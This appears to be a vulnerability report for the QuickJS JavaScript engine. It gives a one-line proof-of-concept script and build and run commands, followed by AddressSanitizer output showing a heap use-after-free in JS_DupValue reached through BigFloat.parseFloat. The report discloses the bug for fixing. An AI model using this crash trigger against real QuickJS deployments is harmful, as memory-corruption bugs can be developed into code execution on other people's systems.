CONFIG_ASAN=y make qjs

BigFloat.parseFloat(BigDecimal(BigDecimal([])).toPrecision);

./qjs --bignum poc.js

=================================================================
==457302==ERROR: AddressSanitizer: heap-use-after-free on address 0x604000002450 at pc 0x5616b998735d bp 0x7ffd92687ed0 sp 0x7ffd92687ec8
READ of size 4 at 0x604000002450 thread T0
    #0 0x5616b998735c in JS_DupValue /quickjs/./quickjs.h:671:21
    #1 0x5616b998735c in JS_ToInt32 /quickjs/quickjs.c:10975:38
    #2 0x5616b998735c in js_bigfloat_parseFloat /quickjs/quickjs.c:51607:9
    #3 0x5616b9749fb4 in js_call_c_function /quickjs/quickjs.c:16014:19
    #4 0x5616b97a3f63 in JS_CallInternal /quickjs/quickjs.c:16209:16
    #5 0x5616b97b31fc in JS_CallInternal /quickjs/quickjs.c:16616:27
    #6 0x5616b97dfc42 in JS_CallFree /quickjs/quickjs.c:18695:19
    #7 0x5616b97dfc42 in JS_EvalFunctionInternal /quickjs/quickjs.c:34351:19
    #8 0x5616b980931f in __JS_EvalInternal /quickjs/quickjs.c:34486:19
    #9 0x5616b97e174e in JS_EvalInternal /quickjs/quickjs.c:34504:12
    #10 0x5616b97e174e in JS_EvalThis /quickjs/quickjs.c:34535:11
    #11 0x5616b97e174e in JS_Eval /quickjs/quickjs.c:34543:12
    #12 0x5616b9746202 in eval_buf /quickjs/qjs.c:71:15
    #13 0x5616b97465a0 in eval_file /quickjs/qjs.c:103:11
    #14 0x5616b97454cf in main /quickjs/qjs.c:516:17
    #15 0x7fcbb7a29d8f in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
    #16 0x7fcbb7a29e3f in __libc_start_main csu/../csu/libc-start.c:392:3
    #17 0x5616b9684734 in _start (/quickjs/qjs+0x4c734) (BuildId: 7ee6713a5851a816c63761bf03890241e521e4ac)

0x604000002450 is located 0 bytes inside of 48-byte region [0x604000002450,0x604000002480)
freed by thread T0 here:
    #0 0x5616b9709eb2 in free (/quickjs/qjs+0xd1eb2) (BuildId: 7ee6713a5851a816c63761bf03890241e521e4ac)
    #1 0x5616b982d259 in js_def_free /quickjs/quickjs.c:1744:5
    #2 0x5616b976e9d5 in __JS_FreeValueRT /quickjs/quickjs.c
    #3 0x5616b97bc73a in __JS_FreeValue /quickjs/quickjs.c:5597:5
    #4 0x5616b97bc73a in JS_FreeValue /quickjs/./quickjs.h:652:13
    #5 0x5616b97bc73a in JS_CallInternal /quickjs/quickjs.c:17497:17
    #6 0x5616b97dfc42 in JS_CallFree /quickjs/quickjs.c:18695:19
    #7 0x5616b97dfc42 in JS_EvalFunctionInternal /quickjs/quickjs.c:34351:19
    #8 0x5616b980931f in __JS_EvalInternal /quickjs/quickjs.c:34486:19
    #9 0x5616b97e174e in JS_EvalInternal /quickjs/quickjs.c:34504:12
    #10 0x5616b97e174e in JS_EvalThis /quickjs/quickjs.c:34535:11
    #11 0x5616b97e174e in JS_Eval /quickjs/quickjs.c:34543:12
    #12 0x5616b9746202 in eval_buf /quickjs/qjs.c:71:15
    #13 0x5616b97465a0 in eval_file /quickjs/qjs.c:103:11
    #14 0x5616b97454cf in main /quickjs/qjs.c:516:17
    #15 0x7fcbb7a29d8f in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16

previously allocated by thread T0 here:
    #0 0x5616b970a15e in __interceptor_malloc (/quickjs/qjs+0xd215e) (BuildId: 7ee6713a5851a816c63761bf03890241e521e4ac)
    #1 0x5616b982d0bf in js_def_malloc /quickjs/quickjs.c:1728:11
    #2 0x5616b998d1ab in js_malloc_rt /quickjs/quickjs.c:1315:12
    #3 0x5616b998d1ab in js_malloc /quickjs/quickjs.c:1353:11
    #4 0x5616b998d1ab in JS_NewBigDecimal /quickjs/quickjs.c:12502:9
    #5 0x5616b998d1ab in JS_ToBigDecimalFree /quickjs/quickjs.c:52194:23
    #6 0x5616b9819ec6 in js_bigdecimal_constructor /quickjs/quickjs.c:52256:15
    #7 0x5616b9749fb4 in js_call_c_function /quickjs/quickjs.c:16014:19
    #8 0x5616b97a3f63 in JS_CallInternal /quickjs/quickjs.c:16209:16
    #9 0x5616b97b2823 in JS_CallInternal /quickjs/quickjs.c:16580:27
    #10 0x5616b97dfc42 in JS_CallFree /quickjs/quickjs.c:18695:19
    #11 0x5616b97dfc42 in JS_EvalFunctionInternal /quickjs/quickjs.c:34351:19
    #12 0x5616b980931f in __JS_EvalInternal /quickjs/quickjs.c:34486:19
    #13 0x5616b97e174e in JS_EvalInternal /quickjs/quickjs.c:34504:12
    #14 0x5616b97e174e in JS_EvalThis /quickjs/quickjs.c:34535:11
    #15 0x5616b97e174e in JS_Eval /quickjs/quickjs.c:34543:12
    #16 0x5616b9746202 in eval_buf /quickjs/qjs.c:71:15
    #17 0x5616b97465a0 in eval_file /quickjs/qjs.c:103:11
    #18 0x5616b97454cf in main /quickjs/qjs.c:516:17
    #19 0x7fcbb7a29d8f in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16

SUMMARY: AddressSanitizer: heap-use-after-free /quickjs/./quickjs.h:671:21 in JS_DupValue
Shadow bytes around the buggy address:
  0x0c087fff8430: fa fa 00 00 00 00 05 fa fa fa 00 00 00 00 01 fa
  0x0c087fff8440: fa fa 00 00 00 00 01 fa fa fa fd fd fd fd fd fd
  0x0c087fff8450: fa fa fd fd fd fd fd fd fa fa fd fd fd fd fd fd
  0x0c087fff8460: fa fa fd fd fd fd fd fd fa fa 00 00 00 00 06 fa
  0x0c087fff8470: fa fa fd fd fd fd fd fa fa fa fd fd fd fd fd fa
=>0x0c087fff8480: fa fa fd fd fd fd fd fa fa fa[fd]fd fd fd fd fd
  0x0c087fff8490: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c087fff84a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c087fff84b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c087fff84c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c087fff84d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==457302==ABORTING